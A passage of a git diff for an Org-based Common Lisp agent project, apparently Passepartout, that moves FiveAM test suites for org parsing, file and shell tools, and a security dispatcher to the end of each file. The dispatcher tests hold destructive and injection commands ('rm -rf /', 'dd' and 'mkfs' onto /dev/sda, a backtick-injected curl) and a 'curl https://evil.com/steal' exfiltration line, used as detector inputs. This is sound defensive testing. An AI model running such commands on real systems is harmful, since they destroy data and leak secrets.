+15,6 @@ This skill enforces the literal programming discipline for all Passepartout sour 3. (literate-tangle-sync-check org-file lisp-file): verifies the tangled .lisp file matches the Org source. Returns T or mismatch info. -* Test Suite - -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-programming-literate-tests - (:use :cl :fiveam :passepartout) - (:export #:literate-suite)) - -(in-package :passepartout-programming-literate-tests) - -(def-suite literate-suite :description "Verification of the Literate Programming skill") -(in-suite literate-suite) - -(test test-extract-lisp-blocks - "Contract 1: extracts lisp from #+begin_src blocks." - (let* ((org-content (format nil "#+begin_src lisp~%(+ 1 2)~%#+end_src~%#+begin_src lisp~%(+ 3 4)~%#+end_src")) - (extracted (literate-extract-lisp-blocks org-content))) - (let ((joined (format nil "~{~a~^~%~}" extracted))) - (is (search "(+ 1 2)" joined)) - (is (search "(+ 3 4)" joined))))) - -(test test-block-balance-check-valid - "Contract 2: balanced parens return T." - (is (eq t (literate-block-balance-check - (merge-pathnames "org/core-pipeline.org" - (uiop:ensure-directory-pathname - (uiop:getenv "PASSEPARTOUT_DATA_DIR"))))))) - -(test test-block-balance-check-missing-close - "Contract 2: unbalanced parens return non-T." - (is (not (eq t (literate-block-balance-check "org/nonexistent-file-xyz.org"))))) - -(test test-tangle-sync-check - "Contract 3: literate-tangle-sync-check verifies org matches tangled lisp." - (let ((result (literate-tangle-sync-check "org/core-pipeline.org" "lisp/core-pipeline.lisp"))) - (is (or (eq t result) (stringp result)) - "Should return T or a mismatch description"))) -#+end_src - * Implementation ** Package Context @@ -144,3 +103,43 @@ contents of the Lisp file. Returns T if they match, or an error message." :trigger (lambda (ctx) (declare (ignore ctx)) nil)) #+end_src +* Test Suite + +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-programming-literate-tests + (:use :cl :fiveam :passepartout) + (:export #:literate-suite)) + +(in-package :passepartout-programming-literate-tests) + +(def-suite literate-suite :description "Verification of the Literate Programming skill") +(in-suite literate-suite) + +(test test-extract-lisp-blocks + "Contract 1: extracts lisp from #+begin_src blocks." + (let* ((org-content (format nil "#+begin_src lisp~%(+ 1 2)~%#+end_src~%#+begin_src lisp~%(+ 3 4)~%#+end_src")) + (extracted (literate-extract-lisp-blocks org-content))) + (let ((joined (format nil "~{~a~^~%~}" extracted))) + (is (search "(+ 1 2)" joined)) + (is (search "(+ 3 4)" joined))))) + +(test test-block-balance-check-valid + "Contract 2: balanced parens return T." + (is (eq t (literate-block-balance-check + (merge-pathnames "org/core-pipeline.org" + (uiop:ensure-directory-pathname + (uiop:getenv "PASSEPARTOUT_DATA_DIR"))))))) + +(test test-block-balance-check-missing-close + "Contract 2: unbalanced parens return non-T." + (is (not (eq t (literate-block-balance-check "org/nonexistent-file-xyz.org"))))) + +(test test-tangle-sync-check + "Contract 3: literate-tangle-sync-check verifies org matches tangled lisp." + (let ((result (literate-tangle-sync-check "org/core-pipeline.org" "lisp/core-pipeline.lisp"))) + (is (or (eq t result) (stringp result)) + "Should return T or a mismatch description"))) +#+end_src \ No newline at end of file diff --git a/org/programming-org.org b/org/programming-org.org index 467b5dc..6224f61 100644 --- a/org/programming-org.org +++ b/org/programming-org.org @@ -21,105 +21,6 @@ Structural manipulation tools for Org-mode files. This skill handles reading, wr If the headline already has one, returns it. If not, generates a new UUID, sets it, and returns it. Returns nil if the headline is not found. -* Test Suite -Verification of the structural manipulation for Org-mode files and their AST representation. -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ignore-errors (ql:quickload :fiveam :silent t))) - -(defpackage :passepartout-utils-org-tests - (:use :cl :fiveam :passepartout) - (:export #:utils-org-suite)) - -(in-package :passepartout-utils-org-tests) - -(def-suite utils-org-suite - :description "Tests for Utils Org skill.") - -(in-suite utils-org-suite) - -(test id-generation - "Contract 1: org-id-generate returns unique UUID strings." - (let ((id1 (org-id-generate)) - (id2 (org-id-generate))) - (is (plusp (length id1))) - (is (not (string= id1 id2))))) - -(test id-format - "Contract 2: org-id-format ensures 'id:' prefix." - (let ((formatted (org-id-format "abc12345"))) - (is (search "id:" formatted)))) - -(test property-setter - "Contract 3: org-property-set modifies a property on a headline." - (let ((ast (list :type :HEADLINE - :properties (list :ID "id:test123" :TITLE "Test") - :contents nil))) - (org-property-set ast "id:test123" :STATUS "ACTIVE") - (is (string= (getf (getf ast :properties) :STATUS) "ACTIVE")))) - -(test todo-setter - "Contract 4: org-todo-set changes TODO state via org-property-set." - (let ((ast (list :type :HEADLINE - :properties (list :ID "id:todo001" :TITLE "Task") - :contents nil))) - (org-todo-set ast "id:todo001" "DONE") - (is (string= (getf (getf ast :properties) :TODO) "DONE")))) - -(test test-org-headline-add - "Contract 5: org-headline-add inserts a child headline." - (let* ((ast (list :type :HEADLINE - :properties (list :ID "root" :TITLE "Root") - :contents nil))) - (is (eq t (org-headline-add ast "root" "New Child"))) - (is (= 1 (length (getf ast :contents)))) - (is (string= "New Child" (getf (getf (first (getf ast :contents)) :properties) :TITLE))))) - -(test test-org-headline-find-by-id - "Contract 6: org-headline-find-by-id finds a headline by ID." - (let* ((ast (list :type :HEADLINE - :properties (list :ID "root" :TITLE "Root") - :contents - (list (list :type :HEADLINE - :properties (list :ID "child1" :TITLE "Child")) - (list :type :HEADLINE - :properties (list :ID "child2" :TITLE "Child 2")))))) - (let ((found (org-headline-find-by-id ast "child2"))) - (is (not (null found))) - (is (string= "Child 2" (getf (getf found :properties) :TITLE)))) - (let ((missing (org-headline-find-by-id ast "nonexistent"))) - (is (null missing) "Missing ID should return nil")))) - -(test test-org-id-get-create - "Contract 7: org-id-get-create returns existing ID or creates and sets a new one." - ;; Case 1: headline already has an ID - (let* ((ast (list :type :HEADLINE - :properties (list :ID "id:existing" :TITLE "Has ID") - :contents nil))) - (is (string= "id:existing" (org-id-get-create ast "id:existing")))) - ;; Case 2: headline exists by title but has no ID — one should be created - (let* ((ast (list :type :HEADLINE - :properties (list :TITLE "No ID") - :contents nil))) - (let ((new-id (org-id-get-create ast "No ID"))) - (is (stringp new-id)) - (is (uiop:string-prefix-p "id:" new-id)) - ;; Verify the ID was set on the headline - (is (string= new-id (getf (getf ast :properties) :ID))))) - ;; Case 3: idempotent — calling again returns same ID - (let* ((ast (list :type :HEADLINE - :properties (list :TITLE "Idempotent") - :contents nil))) - (let ((id1 (org-id-get-create ast "Idempotent")) - (id2 (org-id-get-create ast "Idempotent"))) - (is (string= id1 id2)))) - ;; Case 4: headline not found returns nil - (let* ((ast (list :type :HEADLINE - :properties (list :ID "root" :TITLE "Root") - :contents nil))) - (is (null (org-id-get-create ast "nonexistent"))))) -#+end_src - * Implementation ** Package Context @@ -468,3 +369,101 @@ AST format: (:TYPE :HEADLINE :properties (:ID ... :TITLE ... :TAGS (...)) :trigger (lambda (ctx) (declare (ignore ctx)) nil)) #+end_src +* Test Suite +Verification of the structural manipulation for Org-mode files and their AST representation. +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ignore-errors (ql:quickload :fiveam :silent t))) + +(defpackage :passepartout-utils-org-tests + (:use :cl :fiveam :passepartout) + (:export #:utils-org-suite)) + +(in-package :passepartout-utils-org-tests) + +(def-suite utils-org-suite + :description "Tests for Utils Org skill.") + +(in-suite utils-org-suite) + +(test id-generation + "Contract 1: org-id-generate returns unique UUID strings." + (let ((id1 (org-id-generate)) + (id2 (org-id-generate))) + (is (plusp (length id1))) + (is (not (string= id1 id2))))) + +(test id-format + "Contract 2: org-id-format ensures 'id:' prefix." + (let ((formatted (org-id-format "abc12345"))) + (is (search "id:" formatted)))) + +(test property-setter + "Contract 3: org-property-set modifies a property on a headline." + (let ((ast (list :type :HEADLINE + :properties (list :ID "id:test123" :TITLE "Test") + :contents nil))) + (org-property-set ast "id:test123" :STATUS "ACTIVE") + (is (string= (getf (getf ast :properties) :STATUS) "ACTIVE")))) + +(test todo-setter + "Contract 4: org-todo-set changes TODO state via org-property-set." + (let ((ast (list :type :HEADLINE + :properties (list :ID "id:todo001" :TITLE "Task") + :contents nil))) + (org-todo-set ast "id:todo001" "DONE") + (is (string= (getf (getf ast :properties) :TODO) "DONE")))) + +(test test-org-headline-add + "Contract 5: org-headline-add inserts a child headline." + (let* ((ast (list :type :HEADLINE + :properties (list :ID "root" :TITLE "Root") + :contents nil))) + (is (eq t (org-headline-add ast "root" "New Child"))) + (is (= 1 (length (getf ast :contents)))) + (is (string= "New Child" (getf (getf (first (getf ast :contents)) :properties) :TITLE))))) + +(test test-org-headline-find-by-id + "Contract 6: org-headline-find-by-id finds a headline by ID." + (let* ((ast (list :type :HEADLINE + :properties (list :ID "root" :TITLE "Root") + :contents + (list (list :type :HEADLINE + :properties (list :ID "child1" :TITLE "Child")) + (list :type :HEADLINE + :properties (list :ID "child2" :TITLE "Child 2")))))) + (let ((found (org-headline-find-by-id ast "child2"))) + (is (not (null found))) + (is (string= "Child 2" (getf (getf found :properties) :TITLE)))) + (let ((missing (org-headline-find-by-id ast "nonexistent"))) + (is (null missing) "Missing ID should return nil")))) + +(test test-org-id-get-create + "Contract 7: org-id-get-create returns existing ID or creates and sets a new one." + ;; Case 1: headline already has an ID + (let* ((ast (list :type :HEADLINE + :properties (list :ID "id:existing" :TITLE "Has ID") + :contents nil))) + (is (string= "id:existing" (org-id-get-create ast "id:existing")))) + ;; Case 2: headline exists by title but has no ID — one should be created + (let* ((ast (list :type :HEADLINE + :properties (list :TITLE "No ID") + :contents nil))) + (let ((new-id (org-id-get-create ast "No ID"))) + (is (stringp new-id)) + (is (uiop:string-prefix-p "id:" new-id)) + ;; Verify the ID was set on the headline + (is (string= new-id (getf (getf ast :properties) :ID))))) + ;; Case 3: idempotent — calling again returns same ID + (let* ((ast (list :type :HEADLINE + :properties (list :TITLE "Idempotent") + :contents nil))) + (let ((id1 (org-id-get-create ast "Idempotent")) + (id2 (org-id-get-create ast "Idempotent"))) + (is (string= id1 id2)))) + ;; Case 4: headline not found returns nil + (let* ((ast (list :type :HEADLINE + :properties (list :ID "root" :TITLE "Root") + :contents nil))) + (is (null (org-id-get-create ast "nonexistent"))))) +#+end_src \ No newline at end of file diff --git a/org/programming-tools.org b/org/programming-tools.org index b488249..397ceb1 100644 --- a/org/programming-tools.org +++ b/org/programming-tools.org @@ -51,182 +51,6 @@ in the /last/ tool execution, matching the tool-execution visualization pattern from v0.7.1. Cumulative file tracking belongs in the version control system. -* Test Suite - -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-programming-tools-tests - (:use :cl :fiveam :passepartout) - (:export #:programming-tools-suite)) - -(in-package :passepartout-programming-tools-tests) - -(def-suite programming-tools-suite :description "Verification of programming cognitive tools") -(in-suite programming-tools-suite) - -(defun tools-tmpdir () - (let ((d (merge-pathnames "tmp/passepartout-tool-tests/" (user-homedir-pathname)))) - (uiop:ensure-all-directories-exist (list d)) - d)) - -(defun tools-cleanup () - (let ((d (tools-tmpdir))) - (uiop:delete-directory-tree d :validate t :if-does-not-exist :ignore))) - -(defun tools-write-file (filepath content) - (uiop:ensure-all-directories-exist (list filepath)) - (with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create) - (write-string content stream))) - -(defun call-tool (tool-name &rest args) - (let ((tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*))) - (unless tool (error "Tool ~a not found" tool-name)) - (funcall (cognitive-tool-body tool) args))) - -;; search-files -(test test-search-files-finds-matches - "Contract 1: search-files finds lines matching a regex pattern." - (let* ((dir (tools-tmpdir)) - (file-a (merge-pathnames "src-a.lisp" dir)) - (file-b (merge-pathnames "src-b.lisp" dir))) - (tools-write-file file-a "(defun foo () 'hello)") - (tools-write-file file-b "(defun bar () 'world)") - (let ((result (call-tool 'search-files :pattern "defun" :path (namestring dir) :include "*.lisp"))) - (is (eq (getf result :status) :success)) - (is (search "src-a.lisp:1:" (getf result :content))) - (is (search "src-b.lisp:1:" (getf result :content)))) - (tools-cleanup))) - -(test test-search-files-missing-params - "search-files returns error when required params are missing." - (let ((result (call-tool 'search-files :pattern "x"))) - (is (eq (getf result :status) :error)))) - -;; find-files -(test test-find-files-by-extension - "Contract 5: find-files returns files matching a glob." - (let ((dir (tools-tmpdir))) - (tools-write-file (merge-pathnames "a.lisp" dir) "test") - (tools-write-file (merge-pathnames "b.lisp" dir) "test") - (tools-write-file (merge-pathnames "c.org" dir) "test") - (let ((result (call-tool 'find-files :pattern "*.lisp" :path (namestring dir)))) - (is (eq (getf result :status) :success)) - (is (search "a.lisp" (getf result :content))) - (is (search "b.lisp" (getf result :content))) - (is (not (search "c.org" (getf result :content))))) - (tools-cleanup))) - -(test test-find-files-missing-params - "find-files returns error without required params." - (let ((result (call-tool 'find-files :pattern "*.lisp"))) - (is (eq (getf result :status) :error)))) - -;; read-file -(test test-read-file-full - "Contract 6: read-file returns full file contents." - (let* ((dir (tools-tmpdir)) - (file (merge-pathnames "readme.txt" dir))) - (tools-write-file file (format nil "line one~%line two~%line three")) - (let ((result (call-tool 'read-file :filepath (namestring file)))) - (is (eq (getf result :status) :success)) - (is (search "line one" (getf result :content)))) - (tools-cleanup))) - -(test test-read-file-missing-params - "read-file returns error without :filepath." - (let ((result (call-tool 'read-file))) - (is (eq (getf result :status) :error)))) - -;; write-file -(test test-write-file-creates - "Contract 7: write-file creates file with content." - (let* ((dir (tools-tmpdir)) - (file (merge-pathnames "output.txt" dir))) - (let ((result (call-tool 'write-file :filepath (namestring file) :content "hello world"))) - (is (eq (getf result :status) :success)) - (is (search "11 bytes" (getf result :content)))) - (is (string-equal "hello world" (uiop:read-file-string file))) - (tools-cleanup))) - -(test test-write-file-missing-params - "write-file returns error without required params." - (let ((result (call-tool 'write-file :content "x"))) - (is (eq (getf result :status) :error)))) - -;; list-directory -(test test-list-directory-all - "Contract 8: list-directory returns all entries." - (let ((dir (tools-tmpdir))) - (tools-write-file (merge-pathnames "alpha.txt" dir) "x") - (tools-write-file (merge-pathnames "beta.txt" dir) "y") - (let ((result (call-tool 'list-directory :path (namestring dir)))) - (is (eq (getf result :status) :success)) - (is (search "alpha.txt" (getf result :content))) - (is (search "beta.txt" (getf result :content)))) - (tools-cleanup))) - -(test test-list-directory-missing-params - "list-directory returns error without :path." - (let ((result (call-tool 'list-directory))) - (is (eq (getf result :status) :error)))) - -;; run-shell -(test test-run-shell-echo - "Contract 9: run-shell executes a command and returns output." - (let ((result (call-tool 'run-shell :cmd "echo hello"))) - (is (eq (getf result :status) :success)) - (is (search "hello" (getf result :content))))) - -(test test-run-shell-missing-params - "run-shell returns error without :cmd." - (let ((result (call-tool 'run-shell))) - (is (eq (getf result :status) :error)))) - -;; eval-form -(test test-eval-form-arithmetic - "Contract 10: eval-form evaluates a Lisp expression." - (let ((result (call-tool 'eval-form :code "(+ 1 2)"))) - (is (eq (getf result :status) :success)) - (is (search "3" (getf result :content))))) - -(test test-eval-form-missing-params - "eval-form returns error without :code." - (let ((result (call-tool 'eval-form))) - (is (eq (getf result :status) :error)))) - -;; org-modify-file -(test test-org-modify-file-replace - "Contract 13: org-modify-file replaces exact text in file." - (let* ((dir (tools-tmpdir)) - (file (merge-pathnames "doc.org" dir))) - (tools-write-file file "* TODO Buy milk~%* DONE Walk dog~%") - (let ((result (call-tool 'org-modify-file - :filepath (namestring file) - :old-text "TODO" :new-text "WAITING"))) - (is (eq (getf result :status) :success)) - (is (search "WAITING" (uiop:read-file-string file)))) - (tools-cleanup))) - -(test test-org-modify-file-not-found - "org-modify-file returns error when text not in file." - (let* ((dir (tools-tmpdir)) - (file (merge-pathnames "file.org" dir))) - (tools-write-file file "some content") - (let ((result (call-tool 'org-modify-file - :filepath (namestring file) - :old-text "not-in-file" :new-text "anything"))) - (is (eq (getf result :status) :error)) - (is (search "not found" (getf result :message)))) - (tools-cleanup))) - -(test test-org-modify-file-missing-params - "org-modify-file returns error without required params." - (let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y"))) - (is (eq (getf result :status) :error)))) -#+end_src - * Implementation ** Package Context @@ -555,7 +379,6 @@ Surgical text replacement in an Org file — matches exact text and replaces it. :deterministic (lambda (action ctx) (declare (ignore action ctx)) nil)) #+end_src - ** Package Definition and Export List The package definition. All public symbols are exported here. #+begin_src lisp :tangle no @@ -780,7 +603,181 @@ Tools that the LLM can invoke are registered here. Each tool has a name, descrip (defvar *cognitive-tool-registry* (make-hash-table :test 'equal)) #+end_src -* v0.8.0 — Modified Files Tracking +* Test Suite + +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-programming-tools-tests + (:use :cl :fiveam :passepartout) + (:export #:programming-tools-suite)) + +(in-package :passepartout-programming-tools-tests) + +(def-suite programming-tools-suite :description "Verification of programming cognitive tools") +(in-suite programming-tools-suite) + +(defun tools-tmpdir () + (let ((d (merge-pathnames "tmp/passepartout-tool-tests/" (user-homedir-pathname)))) + (uiop:ensure-all-directories-exist (list d)) + d)) + +(defun tools-cleanup () + (let ((d (tools-tmpdir))) + (uiop:delete-directory-tree d :validate t :if-does-not-exist :ignore))) + +(defun tools-write-file (filepath content) + (uiop:ensure-all-directories-exist (list filepath)) + (with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create) + (write-string content stream))) + +(defun call-tool (tool-name &rest args) + (let ((tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*))) + (unless tool (error "Tool ~a not found" tool-name)) + (funcall (cognitive-tool-body tool) args))) + +;; search-files +(test test-search-files-finds-matches + "Contract 1: search-files finds lines matching a regex pattern." + (let* ((dir (tools-tmpdir)) + (file-a (merge-pathnames "src-a.lisp" dir)) + (file-b (merge-pathnames "src-b.lisp" dir))) + (tools-write-file file-a "(defun foo () 'hello)") + (tools-write-file file-b "(defun bar () 'world)") + (let ((result (call-tool 'search-files :pattern "defun" :path (namestring dir) :include "*.lisp"))) + (is (eq (getf result :status) :success)) + (is (search "src-a.lisp:1:" (getf result :content))) + (is (search "src-b.lisp:1:" (getf result :content)))) + (tools-cleanup))) + +(test test-search-files-missing-params + "search-files returns error when required params are missing." + (let ((result (call-tool 'search-files :pattern "x"))) + (is (eq (getf result :status) :error)))) + +;; find-files +(test test-find-files-by-extension + "Contract 5: find-files returns files matching a glob." + (let ((dir (tools-tmpdir))) + (tools-write-file (merge-pathnames "a.lisp" dir) "test") + (tools-write-file (merge-pathnames "b.lisp" dir) "test") + (tools-write-file (merge-pathnames "c.org" dir) "test") + (let ((result (call-tool 'find-files :pattern "*.lisp" :path (namestring dir)))) + (is (eq (getf result :status) :success)) + (is (search "a.lisp" (getf result :content))) + (is (search "b.lisp" (getf result :content))) + (is (not (search "c.org" (getf result :content))))) + (tools-cleanup))) + +(test test-find-files-missing-params + "find-files returns error without required params." + (let ((result (call-tool 'find-files :pattern "*.lisp"))) + (is (eq (getf result :status) :error)))) + +;; read-file +(test test-read-file-full + "Contract 6: read-file returns full file contents." + (let* ((dir (tools-tmpdir)) + (file (merge-pathnames "readme.txt" dir))) + (tools-write-file file (format nil "line one~%line two~%line three")) + (let ((result (call-tool 'read-file :filepath (namestring file)))) + (is (eq (getf result :status) :success)) + (is (search "line one" (getf result :content)))) + (tools-cleanup))) + +(test test-read-file-missing-params + "read-file returns error without :filepath." + (let ((result (call-tool 'read-file))) + (is (eq (getf result :status) :error)))) + +;; write-file +(test test-write-file-creates + "Contract 7: write-file creates file with content." + (let* ((dir (tools-tmpdir)) + (file (merge-pathnames "output.txt" dir))) + (let ((result (call-tool 'write-file :filepath (namestring file) :content "hello world"))) + (is (eq (getf result :status) :success)) + (is (search "11 bytes" (getf result :content)))) + (is (string-equal "hello world" (uiop:read-file-string file))) + (tools-cleanup))) + +(test test-write-file-missing-params + "write-file returns error without required params." + (let ((result (call-tool 'write-file :content "x"))) + (is (eq (getf result :status) :error)))) + +;; list-directory +(test test-list-directory-all + "Contract 8: list-directory returns all entries." + (let ((dir (tools-tmpdir))) + (tools-write-file (merge-pathnames "alpha.txt" dir) "x") + (tools-write-file (merge-pathnames "beta.txt" dir) "y") + (let ((result (call-tool 'list-directory :path (namestring dir)))) + (is (eq (getf result :status) :success)) + (is (search "alpha.txt" (getf result :content))) + (is (search "beta.txt" (getf result :content)))) + (tools-cleanup))) + +(test test-list-directory-missing-params + "list-directory returns error without :path." + (let ((result (call-tool 'list-directory))) + (is (eq (getf result :status) :error)))) + +;; run-shell +(test test-run-shell-echo + "Contract 9: run-shell executes a command and returns output." + (let ((result (call-tool 'run-shell :cmd "echo hello"))) + (is (eq (getf result :status) :success)) + (is (search "hello" (getf result :content))))) + +(test test-run-shell-missing-params + "run-shell returns error without :cmd." + (let ((result (call-tool 'run-shell))) + (is (eq (getf result :status) :error)))) + +;; eval-form +(test test-eval-form-arithmetic + "Contract 10: eval-form evaluates a Lisp expression." + (let ((result (call-tool 'eval-form :code "(+ 1 2)"))) + (is (eq (getf result :status) :success)) + (is (search "3" (getf result :content))))) + +(test test-eval-form-missing-params + "eval-form returns error without :code." + (let ((result (call-tool 'eval-form))) + (is (eq (getf result :status) :error)))) + +;; org-modify-file +(test test-org-modify-file-replace + "Contract 13: org-modify-file replaces exact text in file." + (let* ((dir (tools-tmpdir)) + (file (merge-pathnames "doc.org" dir))) + (tools-write-file file "* TODO Buy milk~%* DONE Walk dog~%") + (let ((result (call-tool 'org-modify-file + :filepath (namestring file) + :old-text "TODO" :new-text "WAITING"))) + (is (eq (getf result :status) :success)) + (is (search "WAITING" (uiop:read-file-string file)))) + (tools-cleanup))) + +(test test-org-modify-file-not-found + "org-modify-file returns error when text not in file." + (let* ((dir (tools-tmpdir)) + (file (merge-pathnames "file.org" dir))) + (tools-write-file file "some content") + (let ((result (call-tool 'org-modify-file + :filepath (namestring file) + :old-text "not-in-file" :new-text "anything"))) + (is (eq (getf result :status) :error)) + (is (search "not found" (getf result :message)))) + (tools-cleanup))) + +(test test-org-modify-file-missing-params + "org-modify-file returns error without required params." + (let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y"))) + (is (eq (getf result :status) :error)))) +#+end_src* v0.8.0 — Modified Files Tracking #+begin_src lisp (defvar *modified-files-this-turn* nil "List of plists recording file modifications in the current turn.") @@ -844,4 +841,4 @@ line2"))) "Contract 15: tool-modified-files-summary returns nil when no files modified." (setf passepartout::*modified-files-this-turn* nil) (is (null (passepartout::tool-modified-files-summary)))) -#+end_src +#+end_src \ No newline at end of file diff --git a/org/security-dispatcher.org b/org/security-dispatcher.org index bd678a4..781ca8e 100644 --- a/org/security-dispatcher.org +++ b/org/security-dispatcher.org @@ -80,196 +80,6 @@ daemon restarts — it tracks what happened /this/ session, which is what the sidebar shows. Historical block telemetry belongs in the telemetry system (v0.12.0). -* Test Suite - -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-security-dispatcher-tests - (:use :cl :fiveam :passepartout) - (:export #:dispatcher-suite)) - -(in-package :passepartout-security-dispatcher-tests) - -(def-suite dispatcher-suite :description "Verification of the Security Dispatcher") -(in-suite dispatcher-suite) - -(test test-wildcard-match - "Contract 1: wildcard pattern * matches any characters." - (is (wildcard-match "*.env" ".env")) - (is (wildcard-match "*.env" "prod.env")) - (is (wildcard-match "*credential*" "my-credential-file")) - (is (wildcard-match "*.key" "id_rsa.key")) - (is (not (wildcard-match "*.env" "config.yaml")))) - -(test test-check-secret-path - "Contract 2: dispatcher-check-secret-path matches protected patterns." - (is (dispatcher-check-secret-path ".env")) - (is (dispatcher-check-secret-path "id_rsa")) - (is (not (dispatcher-check-secret-path "README.org")))) - -(test test-self-build-core-protection - "Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE." - ;; Core paths are recognized - (is (passepartout::dispatcher-check-core-path "core-reason.org")) - (is (passepartout::dispatcher-check-core-path "core-memory.lisp")) - (is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org"))) - ;; With SELF_BUILD_MODE=true, core writes produce approval-required - (let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x"))))) - (setf (uiop:getenv "SELF_BUILD_MODE") "true") - (let ((result (dispatcher-check action nil))) - (is (eq :approval-required (getf result :level))) - (setf (uiop:getenv "SELF_BUILD_MODE") "false")) - ;; With SELF_BUILD_MODE=false (default), writes pass through - (let ((result (dispatcher-check action nil))) - (is (eq :REQUEST (getf result :type)))))) - -(test test-check-shell-safety - "Contract 3: dispatcher-check-shell-safety detects dangerous commands." - (is (dispatcher-check-shell-safety "rm -rf /")) - (is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda")) - (is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`")) - (is (not (dispatcher-check-shell-safety "echo hello world"))) - (is (not (dispatcher-check-shell-safety "ls -la /tmp")))) - -(test test-shell-safety-severity-catastrophic - "Contract 3/v0.4.3: destructive commands return :catastrophic severity." - (let ((r1 (dispatcher-check-shell-safety "rm -rf /")) - (r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda"))) - (is (eq :catastrophic (getf r1 :severity))) - (is (eq :catastrophic (getf r2 :severity))))) - -(test test-shell-safety-severity-dangerous - "Contract 3/v0.4.3: injection patterns return :dangerous severity." - (let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`"))) - (is (eq :dangerous (getf result :severity))))) - -(test test-shell-safety-severity-safe - "Contract 3/v0.4.3: harmless commands return nil." - (is (null (dispatcher-check-shell-safety "echo hello world"))) - (is (null (dispatcher-check-shell-safety "ls -la /tmp"))) - (is (null (dispatcher-check-shell-safety "cat file.txt")))) - -(test test-dispatcher-severity-max - "dispatcher-severity-max returns the higher tier." - (is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous))) - (is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic))) - (is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous))) - (is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless)))) - -(test test-check-privacy-tags - "Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content." - (is (dispatcher-check-privacy-tags '("@personal" ":project:"))) - (is (dispatcher-check-privacy-tags '("@personal"))) - (is (not (dispatcher-check-privacy-tags '(":public:" ":work:"))))) - -(test test-check-network-exfil - "Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains." - (is (dispatcher-check-network-exfil "curl https://evil.com/steal")) - (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models"))) - (is (not (dispatcher-check-network-exfil "echo hello")))) - -;; ── v0.7.2 Tag Stack ── - -(test test-tag-categories-load - "Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*." - (setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log") - (passepartout::tag-categories-load) - (let ((cats passepartout::*tag-categories*)) - (is (>= (length cats) 1)) - (is (eq :block (passepartout::tag-category-severity "@personal"))) - (is (eq :warn (passepartout::tag-category-severity "@draft"))) - (is (eq :log (passepartout::tag-category-severity "@review")))) - (ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil))) - -(test test-tag-category-severity-unknown - "Contract v0.7.2: unknown tag returns nil." - (is (null (passepartout::tag-category-severity "@nonexistent-xxxx")))) - -(test test-privacy-severity-block - "v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content." - (setf passepartout::*tag-categories* '(("@personal" . :block))) - (is (eq :block (passepartout::dispatcher-privacy-severity '("@personal"))))) - -(test test-privacy-severity-warn - "v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content." - (setf passepartout::*tag-categories* '(("@draft" . :warn))) - (is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft"))))) - -(test test-privacy-severity-nil - "v0.7.2: dispatcher-privacy-severity returns nil for untagged content." - (setf passepartout::*tag-categories* nil) - (is (null (passepartout::dispatcher-privacy-severity '("public"))))) - -(test test-tag-trigger-record - "v0.7.2: tag-trigger-record increments per-tag count." - (clrhash passepartout::*tag-trigger-count*) - (passepartout::tag-trigger-record "@personal") - (passepartout::tag-trigger-record "@personal") - (passepartout::tag-trigger-record "@draft") - (is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0))) - (is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0))) - (clrhash passepartout::*tag-trigger-count*)) - -(test test-tag-categories-privacy-fallback - "v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set." - (let ((orig-tag (uiop:getenv "TAG_CATEGORIES")) - (orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")) - (saved-tag (uiop:getenv "TAG_CATEGORIES")) - (saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))) - ;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES - (sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1) - (sb-posix:unsetenv "TAG_CATEGORIES") - (passepartout::tag-categories-load) - (is (eq :block (passepartout::tag-category-severity "@personal"))) - (is (eq :block (passepartout::tag-category-severity "@draft"))) - ;; Restore - (when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1)) - (when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1)) - (passepartout::tag-categories-load))) - -(test test-safe-tool-read-only-auto-approve - "Contract v0.7.2: read-only tools pass dispatcher-check unconditionally." - (setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*) - (passepartout::make-cognitive-tool :name "test-ro-tool" - :description "Read-only test" - :parameters nil - :guard nil - :body nil - :read-only-p t)) - 